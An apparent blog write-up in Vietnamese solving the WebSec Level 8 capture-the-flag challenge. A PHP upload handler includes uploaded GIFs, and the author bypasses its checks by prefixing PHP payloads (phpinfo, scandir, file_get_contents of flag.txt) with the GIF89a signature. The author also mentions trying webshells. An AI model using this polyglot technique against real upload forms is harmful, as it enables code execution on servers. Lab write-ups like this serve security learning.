[WebSec] Level 8

https://websec.fr/level08/index.php

Information Gathering

Challenge này liên quan đến kiến thức Upload FileGIF.

GIF là gì?

GIF viết tắt của từ Graphics Interchange Format. Nôm na tiếng Việt gọi là ảnh động.
Có đuôi file là .gif và phần signature của file là GIF89a.
Trong đó: GIF8 là mã signature, còn 9a là version của file GIF đó.

Các bạn có thể tham khảo thêm GIF Signature Format tại đây.

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$uploadedFile = sprintf('%1$s/%2$s', '/uploads', sha1($_FILES['fileToUpload']['name']) . '.gif');

if (file_exists ($uploadedFile)) { unlink ($uploadedFile); }

if ($_FILES['fileToUpload']['size'] <= 50000) {
if (getimagesize ($_FILES['fileToUpload']['tmp_name']) !== false) {
if (exif_imagetype($_FILES['fileToUpload']['tmp_name']) === IMAGETYPE_GIF) {
move_uploaded_file ($_FILES['fileToUpload']['tmp_name'], $uploadedFile);
echo '<p class="lead">Dump of <a href="/level08' . $uploadedFile . '">'. htmlentities($_FILES['fileToUpload']['name']) . '</a>:</p>';
echo '<pre>';
include_once($uploadedFile);
echo '</pre>';
unlink($uploadedFile);
} else { echo '<p class="text-danger">The file is not a GIF</p>'; }
} else { echo '<p class="text-danger">The file is not an image</p>'; }
} else { echo '<p class="text-danger">The file is too big</p>'; }
?>

Đọc source code phía trên, ta thấy có 3 điều kiện để upload file thành công.

  1. Size file để upload không được quá 50kb (50000 bytes).
  2. File đó phải là file GIF.
  3. File đó không được rỗng.

Mình đã thử upload các file thông thường nhưng chưa vượt qua 3 điều kiện trên đó (có lẽ vì file GIF download từ Google về quá nặng).

Upload không thành công


Exploit

Trước khi đểể khai thác được bài này thì mình phải xác định là sẽ upload 1 file có chứa các dòng code PHP bên trong file đó (tạm gọi là shell PHP).

Để ý hàm getimagesize() nó sẽ trả về giá trị khác false thì mới được.

Cùng debug hàm getimagesize() này để xem cách hoạt động của nó ra sao?

Mình sẽ chuẩn bị 2 file trong cùng một thư mục có tên là 1.phpgetimagesize.php với nội dung sau.

Thư mục chứa files

1
2
# 1.php
<?php phpinfo(); ?>
1
2
3
4
5
# getimagesize.php
<?php
$file = "1.php";
$info = getimagesize($file);
echo print_r($info,true);

Sau khi run file getimagesize.php thì kết quả sẽ không ra gì cả.

Nothing

Nhưng nếu mình thêm phần Signature của GIF vào file 1.php thì sao?

Mình có thể thêm trực tiếp Signature vào file. Hoặc dùng tool online

1
2
# 1.php
GIF89a <?php phpinfo(); ?>

Run lại file getimagesize.php, thì đã ra được kết quả. Mặc dù là file php nhưng mime-typeimage/gif.

Nothing

Mình có thể bypass qua vòng if thứ 2.

Tiếp theo mình upload file lên xem server có xử lí không?

Upload file thành công

Vậy là server có xử lí code trong file 1.php. Việc tiếp theo mình xem trong thư mục hiện tại có những file nào?

Mình đã thử các webshell PHP, tuy nhiên đã bị filter hay chặn gì đó nên không dùng được.

Thay vì sửa code lại trong file 1.php thì mình dùng Burp Suite để sửa code luôn cho nhanh.

1
GIF89a <?php print_r(scandir('/')); ?>

Scandir

Đọc file flag.txt là xong.

1
2
GIF89a <?php print_r(scandir('/')); 
echo file_get_contents('flag.txt');?>

Got flag


[WebSec] Level 8
https://dovankha.github.io/2022/08/07/lv8/
Author
Khado
Posted on
August 7, 2022
Licensed under